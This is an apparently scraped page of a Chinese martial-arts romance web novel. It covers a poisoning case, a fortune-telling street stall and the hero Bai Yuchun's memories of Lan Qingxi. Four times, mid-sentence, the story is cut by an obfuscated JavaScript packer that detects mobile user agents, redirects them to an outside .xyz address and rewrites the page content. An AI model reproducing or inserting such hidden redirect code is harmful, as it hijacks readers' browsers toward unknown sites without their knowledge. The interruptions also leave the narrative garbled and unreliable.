“说起来啊,还是善儿姐你更厉害,”蒋若木的话打断了这沉默,“白玉春只当了天下第一3年,你当了6年!” “是9年,相府不在了,我仍是天下第一。” “我知道你厉害,但善儿姐你是不是有点狂了,这两年宫中也是有些厉害的相术师的。” “狂?”她笑了,“歇歇吧,我掐指一算,你家小厮等下要跑过来送消息了。” 她不仅知道小厮要来送消息,她还知道陛下这两日病了,病得不轻。 宫里那些相术师还是算了吧,真话都不敢说半句,等他们哪日有能力参这天机了,再来跟她讨论什么第一吧。 小厮送来了仵作给的新验状,何店主是即刻毒发身亡的,那便不是烛龙之毒了。 “走吧,去我的老东家瞧瞧。” 这翠玉楼其实是她师傅谢飞光的产业,他虽纵她离开了国师府,却时时监视着她。她得回去敲打一下吴妈妈,顺便传一下陛下的消息,免得陛下真的病重,谢飞光满天下地抓他。 谢飞光出手极其狠辣,若是碍着他谢飞光的事,不要说白五了,他连蒋若木这国公府独苗都杀得。 说起来,他们定亲前谢飞光就想杀了蒋若木,黄金善护了他两次,但这傻小子怕是什么都不知道。 还好天下第一相术师是她黄金善,不是谢飞光,不然大周国真是完蛋了。 * 吴妈妈见黄金善还活着却是一点都不意外,只引这三人往楼内走。 “吴妈妈,我想见楼内所有的人,”黄金善知道吴妈妈必会想法子推脱,抢先答道,“我知道这两天上面的人一直在找你,我有一消息,传回去可保他三个月内不来找你。” 听罢,吴妈妈立刻就喜笑颜开了,“好嘞善姑娘,您有什么需求尽管吩咐。” 翠玉楼所有的姑娘、小厮排排站在她面前。 一目了然。 谴退众人后,蒋若木着急问她结果,黄金善捋起了思路,“若木,你先着人去查云飞的妹妹、吴展的妻子,是不是生产过。” “你是说,这楼里有吴展的孩子?”蒋若木听了更是着急。 “我隔壁那姑娘春莲,望气能观出来,她杀了人了。” “我知道!何店主死的那日,她就陪着那纨绔一起在赌场!没什么可查的了!赶紧抓起来!”蒋若木听罢便起身要抓人。 “停下,事情还没捋清楚呢,”黄金善看向白五,他正喝茶,身姿挺拔,月色垂在他群青色的外衣上,看不见他雾蒙蒙的桃花眼,他仿佛还是那个风流倜傥的白玉春,“想想你那心软的偶像白玉春,没探清真相之前,他肯定舍不得送姑娘去受牢狱之灾。” 白五还在喝茶,没搭话。 “我想,云飞常来找我,是为了看隔壁的春莲,他认为春莲是妹妹的女儿,来此处暗地里保护她。吴展要我身上的毒,他应是问了云飞。 我且猜测一下,从我房中出去的很多人都死了,这事不少人知道,而且这毒时隔数天才让人致死,若要毒杀他人可做得相当掩人耳目,何店主想要这毒也是合理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283093|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云飞常常来我房里却一直活着,吴展欠了何店主不少钱,何店主知道吴展与云飞的关系,便让吴展来讨我身上的毒。 常人听闻这些事,怕是会以为这毒是云飞给我的,吴展若问云飞,肯定得不了手,于是杀了云飞……” 总还是有关节不通的地方,黄金善一边说着一边想。 “何店主应是春莲杀的,那春莲的毒药又从何而来?”白五接了黄金善的分析,“杀人的毒药、吴展的剑,我估计都在春莲姑娘的房里吧。” “出来吧,”白五看向长廊转角的柱子后,“有什么要说的。” 春莲从长廊缓缓走出,那姑娘不过十五六岁,颤颤巍巍地从手里拿出了一罐药,朝着他们跪了下来。 “善儿姐,我就知道你有奇术,”春莲的话里带着哭腔,“你猜的都不错,一开始我爹问舅舅要毒药,舅舅不知你的血有奇毒,爹说是他要的是一种巨阳之毒,舅舅便给了他这个。”春莲指着手里的药。 “这是舅舅为我准备的,他怕我在楼里遭欺负受委屈,偷了一趟镖里的毒。我爹拿着这毒给了那姓何的,姓何的却道不是这毒,还说这毒就是我舅舅从他的镖里偷的,逼着我爹杀了我舅舅,不然要把我舅舅偷东西的账也算在他的赌资里。我爹已经欠了好几百两银子了,还、还挨了一顿毒打,他又气又恼,我爹……我爹他只能……”春莲已哽咽,抹着眼泪,说不出话。 良久,她继续道,“我那日看见舅舅身上的剑便知是我父亲了,那剑上的花纹,和我母亲给我留的玉佩一样,于是我趁他们丢尸,拿走了这剑。未曾想他们丢尸时,我爹也候在那儿,他便与我相认了,他追问我善儿姐你的毒,我……我就告诉了他你取血的事……” “我不想让那个姓何的继续逼迫我爹了,我想办法潜入那赌场,用这药,舅舅说,这药只要吸入分毫便会暴毙,”她打开了药罐,即刻挥向他们三人,“我舅舅的死都是因为你黄金善!你要给他偿命!” 事发突然,白五立刻甩出手中的水杯击飞了药罐,运气一瞬,整个空中仿佛停滞了,他一手捂住黄金善的口鼻,抱着她飞离那毒药洒出的范围,将她护在怀里。 蒋若木则是捂住口鼻快速绕到了春莲身后,剑柄敲晕了她,一摸她腰间锦袋,解药果真就在其中,他自己吃下一颗,便甩给远处的白五。 白五未受这药半分影响,他的枯木逢春,足以将这药震到五里之外,且土中碧至阴,吸入一些巨阳药物也无碍,但烛龙可万不能再碰到这种药。他看着怀里的人,一双明眸正望着她,他放下自己的手,黄金善深吸了一口气,他看她呼吸如常,瞬间松了气,心脉一震,喷出一口血来。 已是初秋,翠玉楼院里的花草多已凋败,此刻竟又能闻到杜鹃的香气,可惜那娇嫩的小花,刚绽开便被鲜血覆盖。 白五垂下头,呼吸慢而浅。 黄金善第一次见他这样发作,急得发抖,捧着他的脸对着自己,“你怎么样,还好吗?”她晃着他的脸,生怕他不再睁开眼睛,“你干嘛要这样救我,我已中了烛龙,吸入一点其他的毒也死不了啊!” 他眼睛眯开一条缝,能迷迷糊糊看见她的皱眉,笑了,“抱歉,我不太习惯靠脸还别人的人情。”他又闭上眼,头顺势倒在她肩上。 人在情绪喷发的时候,总会说一些自己都无法解释的话。 比如现在,黄金善抱着白玉春的肩,跪地相拥的姿势,她说,“别害怕”。 别害怕。 8. 往身功名半纸,难抵命不饶人 序 人是什么时候开始害怕的呢。 悟心和尚说,怨怒哀惧贪痴谄,皆由爱起。 ——往身功名半纸,难抵命不饶人—— 白五并未昏迷多久,蒋若木把他扛回房里,他便醒了。 他咳血咳得止也止不住,蒋若木一人又是扶住白五又是给他擦血又是给他递水。黄金善则是去城里找医师了。 蒋若木虽没那么聪明,对着人情世故却是颇为敏感,他看黄金善对这人的态度,便早知他不一般。黄金善为人,可担一个傲字,能入她眼的人绝非常人,更何况她还曾出言维护过这白五。 刚刚那内力,应是枯木逢春了,眼前这人竟就是曾经救自己一命的白玉春。也是,黄金善最喜欢这样了,暗地里找到他想要的东西但却不告诉他,等他恍然大悟激动无比的时候,再在一旁笑他傻。 如此少侠,如今竟是这般模样。 黄金善带着人回来了,此人是她在城中最为相熟的医师芈芊。凡人寻医很少寻到这女医师身上,芈芊看着瘦瘦小小,却是师出名门,医术算不上极高,但最是擅长解这怪病异毒。因着烛龙,黄金善找上了她,一来二往,两人可算是密友。 “是土中碧,”这剧毒在芈芊嘴里仿佛很是寻常,“习武之人用药,和普通人很是不同,用药要与他体内的内力相合才能有较好的效果,你问问他先前都用什么药,我分析下这药方,再在此之上调整。” “白五,你平时都用什么药?”黄金善观他呼吸弱,凑到他嘴边听。 “我不用药。”白五说话已是气若游丝。 “为什么,你中了这剧毒竟不用药?全靠内力护着,那不是平白折损寿数吗?”黄金善仿佛听到了什么奇闻轶事,她真没想到论对生命破罐子破摔的态度,她竟只能排到第二。 “我没钱用药,善姑娘,”他盯着黄金善的耳朵偷笑,“我住的地方你也见到了,可谓家徒四壁。” “白大侠,你这样下去,寿数可能已不足一年了。”芈芊冷静道,扶着白五躺下,准备开始施针。 “无碍,我早知道自己命数将尽了。”给五个孩子的钱都备的差不多了,二百两正好够送小五束脩、再等找到《凌云九式》,他基本上也没有未完成的事了。 “白玉春你有病吧!”黄金善气急,“我好不容易找到你,你必须给我撑到我用不上你为止!不然,我就把你在乎的人全杀了、把白玉山庄里你以前写的《江湖武律》砸了、把你师傅那些声名全毁了!” 他就这样看着黄金善笑,他料想这位神女也做不出这种事,她这天下第一相术师的奇闻善举,连翡城这座边陲小城都人尽皆知,他甚至还知道有地方给她这个活人建了庙宇,还雕了神像供着。他若是死了,她没准还会找到那五个孩子,精心养着,把他曾经写的《江湖武律》供起来,再给自己的五个师傅出本传记。想到这,白五还是很庆幸自己遇到了黄金善,也许她真是自己的神女。 他突然笑得很开心,她更是恼了。她说的这些虽然不会真的去做,但若是未能破这天机,这天下将是满目疮痍、生灵涂炭,届时他在乎的那些人、在乎的功业,便真是毁于一旦了。 房里没人说话了。蒋府雅致的小屋里飘着檀香,蒋若木身边有墨香,是他在写结案书,芈芊身边是艾香,她正为白五熏着艾,层层叠叠,却是盖不住那血腥气。 白五闭着眼,黄金善就这样看着他。 往身功名半纸,难抵命不饶人。从前只叹岁月长,如今却也苦昼短。 熏完艾,白五好似睡下了。芈芊牵着黄金善出了房间。 “有点难,善儿,”芈芊拿纸正琢磨着方子,“他中毒后从未正经调理过,要想好转怕是只能下狠招。” “还有什么法子?”不论怎样,当下黄金善必须吊着白玉春的命。 “狠招无非就这些,下策以毒攻毒,中策以命抵命,上策万用灵药呗。”芈芊叹道,江湖侠客来来往往,武林榜单昼夜更迭,门派纷争恩恩怨怨,大家毒来毒去的,无非就这几个法子。 “万用灵药就那几个,却是各个都不好取到,况且也不是包治百病,我回头再去翻翻古籍。至于以毒攻毒、以命抵命么,”芈芊突然牵住黄金善的手,“嗐,我就不多说了,善儿,你自己也不容易,务必好好考虑。” 她给白五熬着药,棕黑的药汤里映出她的脸,黄金善看着自己的眼神。 要这么做么? 她黄金善从不是瞻前顾后之辈,她提起手腕,右手袖子里划出一把小刀,左手手腕层层叠叠的刀疤上又添一笔。 掺了她血的药汤,白五似是没喝出来。 但让他好好喝药是有条件的,黄金善把之前他给自己的一百两又还给他了。 某种程度上这位大侠还有点见钱眼开。 蒋若木在一旁讲着官府的盖棺定论。云飞确是吴展所杀,何店主也确是春莲所杀,但一切与春莲说的却不相同。 三人刚刚其实都有些体察到了,春莲这一番长篇大论,原是没有必要对着他们讲的,刻意留在长廊里,恐也是在找机会动手。少女的眼泪洗不掉三人的疑心,她已杀过一人,未必如此心软,黄金善早早就开始憋气了。这种需要提前服用的解药必然有时效,三人的商谈未知长短,为以防万一春莲肯定会把解药带在身上,出手前再吃,蒋若木也是因此猜到那药在她的锦袋里。 春莲不过十五六岁的少女,如何能几天顺清其中恩怨,甚至还出手杀人,吴展这个“爹”必然难逃其责。 黄金善看吴展和翠玉楼的亲缘浅到微不可察,父女关系恐怕沾不上。果然,如官府的捕头所说,吴展的妻子确是在他刚入狱时生产过,但孩子已夭折了,那玉佩也是机缘巧合到了春莲手上,云飞无意间瞧见了玉佩,一番探究,应该也是知道了此人并非自己的侄女,故而也没和吴展说过。他常来翠玉楼,没准真是因为觉得黄金善可怜。 但吴展却并非善类,作为一个已走到穷途末路的赌徒,他已知春莲不是自己真的女儿,却喜于自己平白多了个女儿,他骗了春莲。春莲恐怕不知道,自己以为的这爹,本想将自己送给何店主抵债,没成想何店主对这样小的姑娘不感兴趣,吴展没法了,只能怂恿春莲犯险。 “官府会怎么判?”黄金善问道。 “吴展和春莲难逃一死了。”听了这事情原委,蒋若木也总觉得心里仿佛卡了个石头,难受得很。 “十五六岁的年纪,几天内得知了自己的身世,爱恨都来得如此之快。”白五靠在床架上,嘴里吐出的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283094|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有气无力,“可惜识人不清。傻事都犯过以后,再后悔也晚了。” 黄金善不忍这两人都如此伤怀,思考着如何挽回一二,“春莲主要是受人挑唆,况且年纪尚小,按律法,死刑应是有转圜余地的吧?” “本也应是罪不至死的,”蒋若木叹息道,“但何家家大业大,可谓翡城第一大富,他们不肯放过,官府也难办。” “这不必担心,你只管让官府按律量刑,”黄金善又找回了她那自信的眼神,“只要熬过五天,何家便再也说不上话了。” 她传给吴妈妈的消息,到京城需两天,回来再两天,五天时间绰绰有余。没人知道,陛下此番病重是因为对南洋传来的某种新物件过敏,而这何家,正是走私南洋之物发家,他们已是死局。 “此案已破,你父母可还满意?”黄金善找到了人,也无需在翡城继续停留了,最好是尽快启程去白玉山庄,但是她和白玉春身份特殊,这上路的盘缠和路引,恐怕都需要这位大少爷帮帮忙。 “我父母特别满意,尤其满意我还碰到了你,”蒋若木突然变得有些尴尬,“就是……额……” “怎么回事,快说,别扭扭捏捏的。”观他神色,黄金善有种不祥的预感。 “就是……唉我说了善儿姐你千万别生气啊,”蒋若木不敢看黄金善的目光,甚至闭上了眼睛,一口气吐完了剩下的话,“就是我爹娘说要我把你带回去,让你给我做妾!” 黄金善无语至极,抿嘴看他,他竟还不敢睁眼,只得扶额叹气。 蒋若木半睁一只眼,见黄金善没有暴怒,便继续说道,“你真别生气善儿姐,我爹娘就是觉得外嫁女到底还是更稳妥,他们怕陛下哪日想起你父亲的事又怪罪于你,而且他们一直觉得,你要是回了京城,我也会乖乖待在京城,不会再到处乱跑了。” “那你父母怎么不收我做义女,还让我给你做妾?”黄金善质问道,她其实心里知道,两家父母算是看着她和蒋若木一起长大的,是真心把两家的孩子都当成亲生子,怂恿蒋若木父母让他纳妾的恐怕另有其人,“又是你那小姨吧,成天叽叽喳喳的,没安好心!” “确实是,她就一直想把她夫家长门那个嫡女嫁给我,我若是要纳妾,我父母必定赶在这之前先促成我的婚事,她好借此拿捏我,”此事蒋若木确实也无能为力,论内宅之事,他小姨功力深厚,他完全斗不过,“我这段时间不在京城,我爸妈已是彻彻底底被她说服了,我小姨今天还来信说……” 说及此处,蒋若木已有些崩溃了,“说我再不回去就来翡城抓我们两个。” 黄金善真的不知道蒋府这些人都想得是些啥,她要和蒋若木定亲时,谢飞光便杀过来两次,她要真的给蒋若木做妾,谢飞光怕不是会屠了蒋府满门吧。 “依我看,要不想被抓到,我们可能得先跑了,抓紧时间出发去白玉山庄吧。”黄金善看了眼白五,他刚正喝着茶盯着他俩看戏,她看过去时白五立刻将头别开假装无事发生。 “有这么急迫吗,我小姨就是赶过来也得两天吧?” “不是你小姨要过来的问题,你用的那些银钱都有蒋府的记号,若是用这些钱,不管跑到哪里他们都能找着。” “所以,咱们可能得自己攒钱上路了。” 9. 瞎子算命养活全家 序 相术并没有那么复杂,不过望、闻、问、切。 世人需要的不是相术,是问心而活。 ——瞎子算命养活全家—— 为了让白五重新交出那一百两,黄金善可以说是用尽了她的三寸不烂之舌。 可白五坚称那一百两已经花掉了。 没办法,为了避免很快被蒋家的人抓到,三个人直接挤到了白五家里商量怎么赚钱。 蒋若木看到这环境可谓瞠目结舌。 “白大侠你怎么住这种地方!” “你看,我确实是很可怜的,”几天没回,屋里到处都落了灰,白五正打扫着,“别看我这么穷,我一周还得打六份工呢,又要杀猪、又要买肉,还得当护院、当画师。” “那你还吃不起药……”蒋若木这感性的小孩,看这场面,几乎要哭了出来。 正悲情着,三人不知是谁的肚子不合时宜地叫了。 “白五我记得你后院还养了鸡来着,咱俩好不容易来做一次客,怎么着也得杀只鸡尝尝吧。”黄金善率先开口,打破了尴尬。 白五低头摸了摸鼻翼,眼神向上瞥了眼他们两个,又尴尬挪开,“我已经六七天没回来了,刚刚我其实去后院看了眼,鸡,有可能被偷了。” …… “赚钱原来这么难,辛辛苦苦养的鸡还会被偷,那我们真的能赚够去白玉山庄的盘缠吗……”蒋若木这位娇生惯养的大少爷好似被眼前这人间疾苦深深震撼了。 “没事的若木,”黄金善拍了拍他的背,“要我说,赚不到钱主要还是他水平不行,他这几份工,除了当杀手那个,都没什么赚头。” “我也是时候出山了,”看来这“家”如今得靠她撑起门楣了,她眼里只有必胜的决心,“给我找一身男装,再找一条黑色的眼纱。” “你明天准备做什么营生?”白五倒是好奇。 “当然是瞎子算命啊!” * 白五虽在脑内想象过,却也没敢想眼前这一幕居然能成为现实。 黄金善和李老头正在街的两侧打擂台。 他之前去蒋府时被迫收拾了一下,经常上街的妇人,都惊讶于这白屠夫几日不见,竟帅得非常,而她们的目光没多久就被街对面那新来的算命先生吸引了。 论英气,还是白屠夫更胜一筹,但这瞎眼的算命先生却更是夺目,他一条黑纱蒙眼,碧水色的长衫衬得他肤白如玉,举手投足之间一副病弱模样,气质却又深沉得非比寻常,好似真能看破天机。 李老头那些江湖异事已然吸引不了什么人,围着黄金善看的人左三层右三层,却是叽叽喳喳地在一旁议论,没人真来问卦。 黄金善看有姑娘凑近她,她抓住机会问,“姑娘,可有什么要算的。” “啊我、我没什么要问的,我想问公子你、你怎么称呼?” “姑娘唤我黄公子就好。” “黄公子,我父亲有意给我招赘婿……” “这位姑娘富贵非比寻常,三日后比武招亲必能寻得良缘,不必忧心于此。” “你!你怎么知道我要比武招亲!你果真是神算!” 黄金善笑了笑,不说话。 在对面憋笑的白五却很是难受。蒋若木坐在白五身后不远处看着,满脸崇拜。 “哪里来的怪力乱神之辈!”女孩子堆中走进个魁梧的男子,腰间戴着好几串玉佩,对着黄金善很是不屑,“你若有本事,便算算本少爷想算什么。” “我若算准了,这位少爷可给钱?”黄金善意识到大好的机会来了。 “那是自然,本少爷从不赖账!” “少爷怕是要算姻缘吧。” 那男子瞬间满脸得意,“我就知你只是个装神弄鬼的家伙,本少爷志在庙堂,岂会困于儿女情事!” “这位少爷,若新觅得良人,不若斩断前缘。”黄金善故作深沉,拿出算命先生那一板一眼的样子。 男子脸色突变,立马反驳,“你、你瞎说什么!” “安家立业本是一体,若是家不安,如何才能立业呢?姻缘自有天数,大丈夫志在庙堂是不错,却不能为了功名利禄舍了世间真情啊。” 那男子愣住了,人群外立刻走进一名女子,牵着男子的手唤“七郎”。 “我悟了,先生。”男子反握住女子的手,“我这就去知州府上退婚,我本就不欲娶丘大人的女儿!我会向知州负荆请罪,再求娶于你!” 两人激动地要走,黄金善立马开口,“少爷,钱。” 这男子果真大方,放在黄金善桌上的是一块上好的和田玉原料。 “多谢先生点拨,傅七谢先生大恩。”这男子一改先前模样,对着黄金善作揖。 谢大恩就不必了,希望你始终记得今日求娶这初心,莫辜负等待你的人。 那男子走后,黄金善的摊位上乌泱泱涌来一堆人,算什么的都有,算得黄金善是口干舌燥头晕目眩。直到对面李老头的惊堂木一拍,黄金善面前的人群才散去不少。 “今日我老李见这街上有新面孔,不若趁这机会,也给诸位讲讲我老李的新故事。” “李伯伯要讲什么!”一听李老头要讲新故事,前排的孩子都激动了起来。 “今日且说,这江湖第一大侠白玉春与武林第一美人兰青溪。” 白五还在李老头旁边淡定地切着排骨。 这白五的生活每天这么精彩?趁着人少,蒋若木给黄金善送来了茶,黄金善立马暂停了自己的业务,竖起耳朵听李老头说书。 “这白玉春与兰青溪,自幼便一起习武,两人青梅竹马、情定终生。 因着兰青溪喜白,白大侠从来只着白衣,为搏佳人一笑,白玉春用内力催熟西山满山花草。如此般配,本应是羡煞江湖的一对神仙眷侣。 却不料秦王盟来犯,命悬一线时,白玉春用身护住兰青溪!” 李老头还没讲到后续结果,只听白五用猛力砍那猪蹄膀,“咚!”的一声,比李老头刚刚的惊堂木还要响上数倍。 “白五!你这屠夫是何意!怎扰人说书!” “抱歉李伯,刚没注意力度。”白五抱歉地笑笑,刚刚用力太猛,他的屠刀刀锋都钝了。 “这位李先生,你说的故事,可有考据。”黄金善喝了口茶,在街对面对着李老头叫板。 李老头本就不满这新来的瞎子抢他生意,眼睛一白,“自然有考据,这城东人人皆知,我李老头讲的故事最是真真切切!” “在下不才,仰慕白大侠良久,对他这些往事,也略有耳闻。” “这白玉春自小和师傅一起长大,习流云功、凌云拳、百面剑,后又集结多家心法练成枯木逢春,而兰青溪却习的是碧落功、自有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283095|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一套青溪剑,这内功心法便相去甚远,可见二者并不是一起习武长大呀。” 黄金善说完这话,所有人都向她看来,李老头气的胡子都要倒长了,厉声反驳,“白玉堂高手如此之多,二人许是跟着不同的师傅练的呢!” “还有,白大侠从来只着白衣,是为证明自己在这武林中衣不沾血,如此大义,竟被你说成是男女情爱,怕是有失偏颇啊。” “恕晚辈再多嘴一句,不论两人有何前缘,如今兰大侠已是有了新的佳偶,在此随意讨论他人往事,既是不敬也是不妥。” 黄金善说完这些,孩子们立刻都跑到她面前七嘴八舌地问起白玉春的生平往事,李老头气的把惊堂木一甩,人走了。 这惊堂木落到地上,上好的木材上多了一道裂,白五立刻捡了起来,“李伯,你这木不错的,可惜裂了,你若是不要,可否允我带回去镇纸?” “随你!” * 回到白五那小宅子时,蒋若木手里提着城南春生楼的烧鸭、四合楼的猪蹄、城东的甜饼、城西的蜜饯,小屋子瞬时飘满香气。 “快数数还有多少钱!”蒋若木激动得两眼放光。 黄金善拎出一大把铜钱,蒋若木数钱数得手都抖了。 黄金善则是端详着这和田玉原料,翡城本就产玉,好玉她见过不少的,这籽料也能算得上是极品了,看来看去,打个什么好呢? “七百文!善儿姐你一天就赚了这么多,买了吃的还剩七百文!” “你一个十指不沾阳春水的大少爷,你知道这些钱是什么概念嘛!”黄金善用红绳把铜钱穿起来,这第一天的成果她还算满意。 “我之前是不知道,但我今天闲来无事把街上每家店的价格都问了个遍,现在我可清楚得很。”在白玉春和黄金善这两个天下第一面前,他蒋若木还是知道要勤能补拙的。 “话说善儿姐你真的好厉害啊,你如何得知早上那第一人要比武招亲,又如何得知那傅七公子的事的?” “龚镖头要给她女儿比武招亲的事,早几个月便定下来了,至于傅七公子,他牵着个女子走过来,却在人群外两人松开手,我便知他们是不宜见人的情缘,傅七公子与丘知州女儿定亲的事也是人尽皆知。” “那你如何得知他们就是那些人呢?”蒋若木真诚地发问。 “因为我见过他们呀,”黄金善看蒋若木呆头呆脑,突然意识到他为何会有这些问题,实在是忍不住笑了出来,“蒋若木,我是装瞎,又不是真瞎!戴个眼纱可不就是为了能看清他们还故弄玄虚嘛!” 蒋若木突然回过神,恍然大悟。 “这两人都是噱头,可你后面算得可是实打实的,”白五开始追问,“我看你算机遇、合姻缘,都不需要八字,也不需要什么铜钱竹签,如何确保能算得准呢?” “要真起卦太累了,算上一天我烛龙之毒必会毒发,”黄金善喝了口水,像今天这样已经够累了,起卦算一天岂非要了她的命,“看病讲究望闻问切,相术也是一样,天下熙熙,人们的烦恼其实并没有那么复杂,望、闻、问,有时就够了。” 其实大部分时候,她并不需要算什么。人来人往,大家不过为了活得更好罢了。她只是告诉了那些人把生活过得更好的法子,这些法子其实人心里都知道,却缺个相术师来作保,她愿做这保,换人们去试试新的活法。 10. 英雄爱的不是美人,是正道 序 失去一切后,他才发现那少时的在意如此可笑。 ——英雄爱的不是美人,是正道—— 在街头摆了两天摊,黄金善已是把盘缠赚的差不多了。 黄金善催着两人收拾东西出发,此地不宜久留,一方面,蒋府那小姨快到了,另一方面,她再这么待下去,对面李老头怕是要提刀砍自己了。 当然,还有一个顶顶重要的原因,七日后,兰青溪要成婚了。 昨晚黄金善第一次出街摆摊,最累的便是跑来跑去的蒋若木,三人大快朵颐后,蒋若木没多久就累睡着了。 白五这房子就一间屋子,三人只能挤一间。 当然,床是属于黄金善这个赚钱的顶梁柱的,那两男的只能铺个垫子在地上将就一下。 夜半,蒋若木的呼声震天,搞得白五和黄金善都难以入眠。 黄金善干脆出屋吹吹晚风,白五也跟了出来。 两人一开始都没说话,乡间的晚风带着稻香,漫天繁星,让人心也平和不少。 “你知道兰青溪要成婚了吗?”黄金善实在是按捺不住好奇的心,白日她提到兰青溪的佳偶时,白五毫无反应,不知道内心究竟怎么想的。 打听白玉春往事的这些年,就属他和兰青溪这段情缘说法最多。 有说他们感情甚笃,白玉春为保护兰青溪而死的,也有说兰青溪实则厌恶白玉春,一手策划了血洗白玉堂,除掉了白玉春,自己则成为这武林的掌权人。 没错,如今武林的掌权人,是兰青溪。 当年,杀神嬴政打败了白玉春,成为天下第一后,便隐世修炼,只有碰上江湖上出了什么奇人,他才出关挑战一下,他一向独来独往,对武林里乱七八糟的事也不感兴趣。 倒是这兰青溪,白玉春的几位师傅去世、白玉春消失后,白玉堂就属她最有话语权,白玉堂虽不在了,她还是集结了白玉堂曾经的一些势力继续指挥着武林诸事。论武艺,兰青溪在江湖上是排不上号的,但其人擅掌权柄、处事周全圆润,对上打通了朝堂关系,对下掌握着好几支江湖门派,实打实地控制着武林。 一位女侠,一位政客。兰青溪是黄金善很钦佩的人。 “我不知道,”白五还是看着星空,“你刚刚说了我才知道。” “那你喜欢她吗?”黄金善干脆直接问了,她不喜欢打探来打探去的。 黄金善的直接也是让白五有些惊讶,“我不喜欢她,”说着,白五又觉得这么说好像也不全对,“我年少时,是对她有些在意吧。” “白玉春仗义直爽,兰青溪聪慧温婉。很多人觉得他们很般配。”说着,他好像又觉得有些不对了,“也不是很多人,就我那些师傅们吧。” 兰青溪是他的大师傅慕声带回来的,彼时兰青溪师门被屠,兰大侠费劲心力,将他唯一的女儿托到他曾经的好友慕声手上。 她来时,不说话,每天只舞剑。 几位师傅都担心得很。白玉春见她这样,干脆拿起无锋剑与她过招。 他把她打哭了,她终于说话了。 她说她恨。她要变强,她要复仇。 “她说她要复仇,”夜风袭来,白五拢了拢衣领,“十几岁的少年不知有多少意气,我直接冲去了碎石帮。” 碎石帮,白玉春就是在那一战成名的,他只用一把无锋剑,一人对抗碎石帮78名帮众,官府赶到时,他已废了77人的武功,只剩帮主跪在他面前。 剑指邪祟,白衣未着一滴血。 “英雄救美,人人都会觉得英雄爱这美人,连我自己都这么觉得。” 黄金善望着白五,他的神情仿佛是在讲一件前世的事。 “其实英雄爱的只是正道。”他不再看着星空了,深叹一口气,眼神游移诉着无奈,“也许她是恨我的吧,挟恩图报,妄想捆绑她的一生。” “她这般优秀的女子本不该居于男子之下的,我却让她一生都绑着我的名字。” “我觉得她未必恨你,”黄金善体会着白五的情绪,接话道,“你走之后,白玉山庄仍然冠你的名字,她仍不遗余力推行着《江湖武律》,如今,她还要在有你名字的山庄成婚了。” “她不恨我么?”白五笑得苦,“她明知我还活着,九年来,未曾过问一句。” “你说,是放下了前缘,彻底忘了,还是放不下,所以不愿过问,”白五不是没想过这些,但他不愿把这一切都分辨得如此明白,“又或者,是有愧于我,不敢见我。” “此话怎讲?”黄金善第一次在白五话中体会到这种情绪,接近恨,却不是恨。 “我和她之间,如今很复杂。”他看黄金善眼神直接而清透,也不想对她再有所隐瞒,“秦王盟杀来那天,我大师傅病重,她陪在大师傅身边,大师傅习的是百面剑,但他养病时要净心,房里全无武器,当时只有兰青溪带去的那把兰心。” 他有些难开口了,两人就这样沉默良久,待到稻田摇晃五下,他才继续到,“歹人杀来时,她一人走密道出去了,带着她的兰心,师傅就手无寸铁地留在房里,他本就病重,除了使剑、也用不上什么别的武功……” “你如何知道这些的呢?”黄金善不知道白玉春会不会因为听信一些道听途说的传言画地为牢。 “她亲口跟我说的,”白五的眼里已没有了那些情绪,又重归平静,“你知道吗?她说这些话的时候很坦然。” “我后来又细想,她凭何不坦然呢,师傅一定会让她先走,而她也需要这剑护身,师傅……”他感觉有些凉了,转身回屋走去,“师傅本就寿数将尽了,这些都是命数吧,怪不得谁。” “她如今很厉害,而我是个没什么用的屠夫。” 白五回屋了,黄金善一人还在屋外吹着风。 夏天燥热,如今入了秋,烛龙便没那么容易发作了,黄金善好不容易感觉身子舒坦些,但土中碧喜寒,如此晚风,白五没法吹太久。 白五所说那些,她太懂、太明白了。 时间能久到让人放下仇恨,却没法让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283096|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么轻易选择原谅。 也许他从未爱过她,也许他在乎她却不是爱她,也许他曾深爱她如今却恨她。死之将至,这些情愫也没有分辨清楚的必要了。 